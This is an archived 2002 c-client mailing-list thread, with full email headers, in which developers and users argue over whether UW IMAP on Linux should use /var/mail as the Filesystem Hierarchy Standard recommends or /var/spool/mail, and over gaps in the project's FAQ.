mailnull) for mailarch+c-client; Tue, 12 Feb 2002 21:26:09 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D5Q9TM006967 for ; Tue, 12 Feb 2002 21:26:09 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Feb 12 21:26:07 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D5Q6Ps010796; Tue, 12 Feb 2002 21:26:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D5PNEr071088; Tue, 12 Feb 2002 21:25:24 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D5NsMr061750 for ; Tue, 12 Feb 2002 21:23:54 -0800 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Feb 12 21:23:54 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D5NrWn008434 for ; Tue, 12 Feb 2002 21:23:53 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D5NrUC003526 for ; Tue, 12 Feb 2002 21:23:53 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Feb 12 21:23:53 2002 -0800 Received: from DHCP-200.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D5Nkjv025718 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Tue, 12 Feb 2002 21:23:52 -0800 Message-Id: Date: Tue, 12 Feb 2002 21:23:39 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Kaufman Cc: c-client@u.washington.edu Subject: re: issue with linux Filesystem Hierarchy Standard In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 12 Feb 2002, Mark Crispin wrote: > > I see that Redhat puts a symlimk to /var/spool/mail, It appears Mandrake > > does the same thing. I don't know about other distros. > On the Redhat systems I use, it's on /var/spool/mail and there's no link from > /var/mail. I just checked my Mandrake 8.1 system. The mail spool is on /var/spool/mail, but there is a /var/mail symlink. So far, of all the Linux systems I've tried: . all had the mail spool on /var/spool/mail . none had the mail spool on /var/mail . one had a symlink from /var/mail to /var/spool/mail It sure sounds like /var/spool/mail is the correct setting for Linux. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Feb 12 21:45:09 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Feb 2002 21:45:08 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D5j8TM007481 for ; Tue, 12 Feb 2002 21:45:08 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Feb 12 21:45:03 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D5j3Ps011257; Tue, 12 Feb 2002 21:45:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D5iKkG030532; Tue, 12 Feb 2002 21:44:21 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D5hQMr016408 for ; Tue, 12 Feb 2002 21:43:26 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Feb 12 21:43:25 2002 -0800 Received: from orpheus.dyn.dhs.org (ras-c5800-1-49-148.dialup.wisc.edu [128.104.49.148]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D5hKAZ012952 for ; Tue, 12 Feb 2002 21:43:22 -0800 Received: (from kauf@localhost) by orpheus.dyn.dhs.org (8.11.4/8.11.4) id g1D5hD013628; Tue, 12 Feb 2002 23:43:13 -0600 Message-Id: <20020212234312.B13484@orion.dhs.org> Date: Tue, 12 Feb 2002 23:43:12 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Kaufman To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: ; from MRC@CAC.Washington.EDU on Tue, Feb 12, 2002 at 08:47:42PM -0800 References: <20020212221738.B6918@orion.physics.wisc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, Feb 12, 2002 at 08:47:42PM -0800, Mark Crispin wrote: > On Tue, 12 Feb 2002 22:17:38 -0600, Mike Kaufman wrote: > > the FHS standard at http://www.pathname.com/fhs/ > > decrees that if the mail system is installed, user mailboxes should be > > located in /var/mail. > > Who delegated the authority to decress this to them? > > > compiling with "make slx" puts the SPOOLDIR at "/var/spool" instead of > > "/var" > > Well, golly gee, on the Linux systems that I use, the spool directory is on > /var/spool/mail. Some but not all of them have symlinks from /var/mail to > /var/spool/mail. > > So some propellerhead has decided to further exacerbate confusion by setting a > "standard" that is incompatible with existing Linux systems. And it's my > fault that I support what's compatible with existing Linux systems? uh, from their document: BEGIN RATIONALE The logical location for this directory was changed from /var/spool/mail in order to bring FHS in-line with nearly every UNIX implementation. This change is important for inter-operability since a single /var/mail is often shared between multiple hosts and multiple UNIX implementations (despite NFS locking issues). It is important to note that there is no requirement to physically move the mail spool to this location. However, programs and header files must be changed to use /var/mail. END RATIONALE I think it's fairly rational. Please note however, that I don't necessarily think that somebody should "mandate" something like this, so don't get pissy with me for bringing the issue to your attention. I thought maybe you guys would like to know that for the people (like me) who like to roll their own distributions (and follow some semi-conherent directory structure), when these people compile your program, it breaks. and about this "it's my fault?" comment. I didn't think when I originally wrote this that I was laying blame on anybody. I did think when I wrote this, that maybe somebody else would benefit from the extra 15 minutes it took me to get this program working. I guess I see what my attempted altruism gets me... > > > I see that Redhat puts a symlimk to /var/spool/mail, It appears Mandrake > > does the same thing. I don't know about other distros. > > On the Redhat systems I use, it's on /var/spool/mail and there's no link from > /var/mail. > > > I'm sure this has been fixed for ages in the dev versions, and/or > > discussed endlessly in the archives, but I didn't make it there before I > > implemented my novel solution :) > > If by "fix" you mean "change from /var/spool/mail to /var/mail", it hasn't > been since that would break the Linux systems it works on now. No. _my_ "fix" is what works for me. I personally don't really give a shit how you intend to fix it (my suggestion would be at minimum include this issue in the relevant FAQ question). [snip] Oh and another thing, on "Where can I go to ask questions?" in the FAQ, it says: ons about this software, you can send me email directly or use the c-client@u.washington.edu mailing list however, who "me" is and what me's email address is is mentioned nowhere in the document (at least on the webpage). -mike From pinedev@shivax2.cac.washington.edu Tue Feb 12 21:53:02 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Feb 2002 21:53:02 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D5r2TM007655 for ; Tue, 12 Feb 2002 21:53:02 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Feb 12 21:52:58 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D5qvPs011430; Tue, 12 Feb 2002 21:52:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D5pAKT022082; Tue, 12 Feb 2002 21:51:10 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D5oiMr016638 for ; Tue, 12 Feb 2002 21:50:45 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Feb 12 21:50:44 2002 -0800 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D5ocWn012415 for ; Tue, 12 Feb 2002 21:50:41 -0800 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.11.6/8.10.2/SuSE Linux 8.10.0-0.3) with ESMTP id g1D5qXE12035; Tue, 12 Feb 2002 23:52:33 -0600 Message-Id: Date: Tue, 12 Feb 2002 23:52:32 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: Mike Kaufman Cc: Mark Crispin , c-client@u.washington.edu Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: <20020212234312.B13484@orion.dhs.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 12 Feb 2002, Mike Kaufman wrote: > BEGIN RATIONALE > The logical location for this directory was changed from /var/spool/mail > in order to bring FHS in-line > with nearly every UNIX implementation. This change is important for > inter-operability since a single > /var/mail is often shared between multiple hosts and multiple UNIX > implementations (despite NFS locking issues). Hoooo baby! Now your really in trouble! From pinedev@shivax2.cac.washington.edu Wed Feb 13 07:05:45 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Feb 2002 07:05:44 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DF5iTM025887 for ; Wed, 13 Feb 2002 07:05:44 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Feb 13 07:05:41 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DF5fPs024899; Wed, 13 Feb 2002 07:05:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DF55kG017638; Wed, 13 Feb 2002 07:05:05 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DF3rMr100170 for ; Wed, 13 Feb 2002 07:03:53 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Feb 13 07:03:52 2002 -0800 Received: from zephyr.developerschoice.net (taylor.developerschoice.net [209.69.206.2]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DF3ppj032200 for ; Wed, 13 Feb 2002 07:03:51 -0800 Received: from 10.128.1.99 ([10.128.1.99] helo=there) by zephyr.developerschoice.net with smtp (Exim 3.34 #4) id 16b0wo-0003hv-00 for c-client@u.washington.edu; Wed, 13 Feb 2002 10:03:50 -0500 Message-Id: Date: Wed, 13 Feb 2002 10:03:12 -0500 Reply-To: zpt r@developerschoice.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Breitner To: c-client@u.washington.edu Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: <20020212234312.B13484@orion.dhs.org> References: <20020212221738.B6918@orion.physics.wisc.edu> <20020212234312.B13484@orion.dhs.org> Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wednesday 13 February 2002 12:43 am, Mike Kaufman wrote: > > BEGIN RATIONALE > The logical location for this directory was changed from /var/spool/mail > in order to bring FHS in-line > with nearly every UNIX implementation. This change is important for > inter-operability since a single > /var/mail is often shared between multiple hosts and multiple UNIX > implementations (despite NFS locking issues). > It is important to note that there is no requirement to physically move > the mail spool to this location. > However, programs and header files must be changed to use /var/mail. > END RATIONALE > Considering that RedHat, SuSE and Slackware all seem to continue to use /var/spool/mail, I'd say that acceptance of the standard/recommendation is a bit down the road. > However, programs and header files must be changed to use /var/mail. Or, you need to create a directory in /var, with some creative symlinking. > I think it's fairly rational. > It's rational, but I don't know how well it'll be received since Linux has a well established history of /var/spool/mail. Package maintainers may simply decide that if you're crafty enough to be using NFS to hold your mailspool, those doing so should also have mastered the use of "ln" and "mkdir". Then there are people like myself, who let their Unix systems put mail in /var only long enough to modify procmail or Exim to put it elsewhere (like the user's home directories). You'll notice an absense of that situation in "make" for c-client, gnu-mailutils and other packages. You will however, find ample instructions for dealing with that in the doc directory. > Please note however, that I don't necessarily think that somebody should > "mandate" something like this, so don't get pissy with me for bringing > the issue to your attention. I thought maybe you guys would like to know > that for the people (like me) who like to roll their own distributions > (and follow some semi-conherent directory structure), when these people > compile your program, it breaks. > With all due respect Mike, you know you roll your own distro and you know that what you're doing is outside the "norm", so why should the failure of seemingly common applications surprise you? It shouldn't, and you should be prepared to deal with it appropriately. By the same token however, you shouldn't expect everyone who develops software to have to accomodate you. Considering the sometimes strange nature of those kernel and distro hacks, spending time to accomodate every little nuance of a distro is an exercise in futility. Especially since things can change over the course of lunch. Your options are: 1. Dig open the source and create the patches and make them available. Copy Crispin and maybe he'll include it in imap-2002-blah-blah. Maybe not. 2. Hack around it some other way. > > > > I see that Redhat puts a symlimk to /var/spool/mail, It appears > > > Mandrake does the same thing. I don't know about other distros. They apparently have opted for #2. > ons about this software, you can send me email directly or use the > c-client@u.washington.edu mailing list > > however, who "me" is and what me's email address is is mentioned nowhere > in the document (at least on the webpage). > > -mike Try cracking open the source code. Crispin's email address is in there more times than Coca-Cola's logo is associated with the Olympics. You'll also find references to his dog (I'm not kidding). -- Jeff Breitner Lead System Administrator (come to think of it, I'm the only system administrator) From pinedev@shivax2.cac.washington.edu Wed Feb 13 08:43:50 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Feb 2002 08:43:50 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DGhnTM029927 for ; Wed, 13 Feb 2002 08:43:49 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Feb 13 08:43:40 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DGhemT020751; Wed, 13 Feb 2002 08:43:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DGguKT014468; Wed, 13 Feb 2002 08:42:57 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DGeoMr042834 for ; Wed, 13 Feb 2002 08:41:20 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Feb 13 08:40:49 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DGemAZ001411 for ; Wed, 13 Feb 2002 08:40:48 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id IAA13567; Wed, 13 Feb 2002 08:40:43 -0800 (PST) Message-Id: Date: Wed, 13 Feb 2002 08:20:41 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Kaufman Cc: c-client@u.washington.edu Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: <20020212234312.B13484@orion.dhs.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 12 Feb 2002 23:43:12 -0600, Mike Kaufman wrote: > BEGIN RATIONALE > The logical location for this directory was changed from /var/spool/mail > in order to bring FHS in-line with nearly every UNIX implementation. This > change is important for inter-operability since a single /var/mail is often > shared between multiple hosts and multiple UNIX implementations (despite NFS > locking issues). It is important to note that there is no requirement to > physically move the mail spool to this location. > However, programs and header files must be changed to use /var/mail. > END RATIONALE That rationale is nonsense. /var/mail is what System V uses, but System V is hardly "nearly every UNIX implementation" even though Bell Labs said you should "consider it standard" in the 1980s. Sharing the mail spool via NFS is also not a good idea. This was understood 17 years ago, and is the reason why we have IMAP today. I had never heard of FHS until your message, but statements such as the "rationale" above don't give it much credibility. If you choose to make a non-standard version of Linux -- and "standard" on Linux is defined by the authors of Linux -- then you should expect that you will have compatibility problems and little sympathy from software developers. You are, in effect, making an incompatible operating system; and as such, you can not expect a port for another operating system to work well on your incompatible operating system. You have to build a port for your operating system. From pinedev@shivax2.cac.washington.edu Wed Feb 13 09:14:10 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Feb 2002 09:14:10 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHEATM031577 for ; Wed, 13 Feb 2002 09:14:10 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Feb 13 09:14:08 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHE6Ps029180; Wed, 13 Feb 2002 09:14:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHDEEr017122; Wed, 13 Feb 2002 09:13:15 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHCHMr035118 for ; Wed, 13 Feb 2002 09:12:18 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Feb 13 09:12:16 2002 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHCEWn017017 for ; Wed, 13 Feb 2002 09:12:15 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.6/8.11.1) with ESMTP id g1DHBmm02640; Wed, 13 Feb 2002 15:11:49 -0200 Message-Id: <200202131711.g1DHBmm02640@stratus.swi.com.br> Date: Wed, 13 Feb 2002 15:11:49 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Mark Crispin , Mike Kaufman Cc: Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: References: Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >On Tue, 12 Feb 2002, Mark Crispin wrote: >> > I see that Redhat puts a symlimk to /var/spool/mail, It appears Mandrake >> > does the same thing. I don't know about other distros. >> On the Redhat systems I use, it's on /var/spool/mail and there's no link from >> /var/mail. > >I just checked my Mandrake 8.1 system. The mail spool is on >/var/spool/mail, but there is a /var/mail symlink. > >So far, of all the Linux systems I've tried: > . all had the mail spool on /var/spool/mail > . none had the mail spool on /var/mail > . one had a symlink from /var/mail to /var/spool/mail Conectiva Linux 6, 7 and 8 have symlinks from /var/mail to /var/spool/mail. I think all others version had too, but I don't have it anymore. >It sure sounds like /var/spool/mail is the correct setting for Linux. I agree, and it makes more sense too. I always thought that /var/mail link was there for some kind of old compatibility issue. Raul Dias From pinedev@shivax2.cac.washington.edu Wed Feb 13 09:17:12 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Feb 2002 09:17:12 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHHCTM031758 for ; Wed, 13 Feb 2002 09:17:12 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Feb 13 09:17:09 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHH8mT021986; Wed, 13 Feb 2002 09:17:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHFLEr018050; Wed, 13 Feb 2002 09:15:21 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHEcMr035260 for ; Wed, 13 Feb 2002 09:14:39 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Feb 13 09:14:38 2002 -0800 Received: from orion.physics.wisc.edu (orion.physics.wisc.edu [128.104.223.241]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHEb37024753 for ; Wed, 13 Feb 2002 09:14:37 -0800 Received: (from kaufman@localhost) by orion.physics.wisc.edu (8.11.6/8.11.6) id g1DHEar07470; Wed, 13 Feb 2002 11:14:36 -0600 Message-Id: <20020213111436.B7384@orion.physics.wisc.edu> Date: Wed, 13 Feb 2002 11:14:36 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Kaufman To: zpt.r@developerschoice.net Cc: c-client@u.washington.edu Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: ; from zptr@developerschoice.net on Wed, Feb 13, 2002 at 10:03:12AM -0500 References: <20020212221738.B6918@orion.physics.wisc.edu> <20020212234312.B13484@orion.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Feb 13, 2002 at 10:03:12AM -0500, Jeff Breitner wrote: > On Wednesday 13 February 2002 12:43 am, Mike Kaufman wrote: > [snip] > > > Please note however, that I don't necessarily think that somebody should > > "mandate" something like this, so don't get pissy with me for bringing > > the issue to your attention. I thought maybe you guys would like to know > > that for the people (like me) who like to roll their own distributions > > (and follow some semi-conherent directory structure), when these people > > compile your program, it breaks. > > > > With all due respect Mike, you know you roll your own distro and you know > that what you're doing is outside the "norm", so why should the failure of > seemingly common applications surprise you? It shouldn't, and you should be > prepared to deal with it appropriately. By the same token however, you > shouldn't expect everyone who develops software to have to accomodate you. > Considering the sometimes strange nature of those kernel and distro hacks, > spending time to accomodate every little nuance of a distro is an exercise in > futility. Especially since things can change over the course of lunch. > > Your options are: > > 1. Dig open the source and create the patches and make them available. Copy > Crispin and maybe he'll include it in imap-2002-blah-blah. Maybe not. > > 2. Hack around it some other way. > You both are entirely missing my point. I'm not interested in debating the merits or lack thereof of this so-called standard. I've wasted far too much time on this anyway. What I was interested in was the FAQ -- you know that place where people who are having trouble with your software ought to go first? Your answer to "My inbox is empty!" has an incomplete answer. There is _another_ answer to this and that is that imap might be looking in the wrong place for my mailboxes. Check the Makefile to see if SPOOLDIR is the correct location. I've already chosen my option. Again, I don't care at all if you change the src to address this issue. Apparently you won't. whatever. > > > > > > > > I see that Redhat puts a symlimk to /var/spool/mail, It appears > > > > Mandrake does the same thing. I don't know about other distros. > > > They apparently have opted for #2. > > > > ons about this software, you can send me email directly or use the > > c-client@u.washington.edu mailing list > > > > however, who "me" is and what me's email address is is mentioned nowhere > > in the document (at least on the webpage). > > > > -mike > > > Try cracking open the source code. Crispin's email address is in there more > times than Coca-Cola's logo is associated with the Olympics. You'll also > find references to his dog (I'm not kidding). yeah, ok. I see now how you guys expect a FAQ to work. Make all sorts of obscure references that can only be found by digging through the source code. Even for something as simple as contact information... I mean, why do guys have a FAQ anyway? It can all be found in the source code, right? -mike > > -- > > > Jeff Breitner > Lead System Administrator > (come to think of it, I'm the only system administrator) From pinedev@shivax2.cac.washington.edu Wed Feb 13 09:21:17 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Feb 2002 09:21:17 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHLHTM031935 for ; Wed, 13 Feb 2002 09:21:17 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Feb 13 09:21:13 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHLCPs029451; Wed, 13 Feb 2002 09:21:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHKIkG019572; Wed, 13 Feb 2002 09:20:18 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1DHJRMr029756 for ; Wed, 13 Feb 2002 09:19:27 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Feb 13 09:19:25 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1DHJO37026219 for ; Wed, 13 Feb 2002 09:19:25 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA13749; Wed, 13 Feb 2002 09:19:06 -0800 (PST) Message-Id: Date: Wed, 13 Feb 2002 09:15:41 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: Mark Crispin , Mike Kaufman , c-client@u.washington.edu Subject: Re: issue with linux Filesystem Hierarchy Standard In-Reply-To: <200202131711.g1DHBmm02640@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 13 Feb 2002 15:11:49 -0200, Raul Dias wrote: > Conectiva Linux 6, 7 and 8 have symlinks from /var/mail to /var/spool/mail. > I think all others version had too, but I don't have it anymore. Well, I looked on a Cobalt Linux system, a few Redhat systems, and a Debian system, and none of them had /var/mail in any form > >It sure sounds like /var/spool/mail is the correct setting for Linux. > I agree, and it makes more sense too. I agree that /var/spool/mail makes more sense. I don't think that there is a snowball's chance in hell of "standardizing" upon /var/mail, at least not without a lot more community input. You can't just put up a web page and claim to be a new standard. From pinedev@shivax2.cac.washington.edu Wed Feb 13 09:30:06 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Feb 2002 09:30:06 -0800 (PST) Return-Path: Received: from 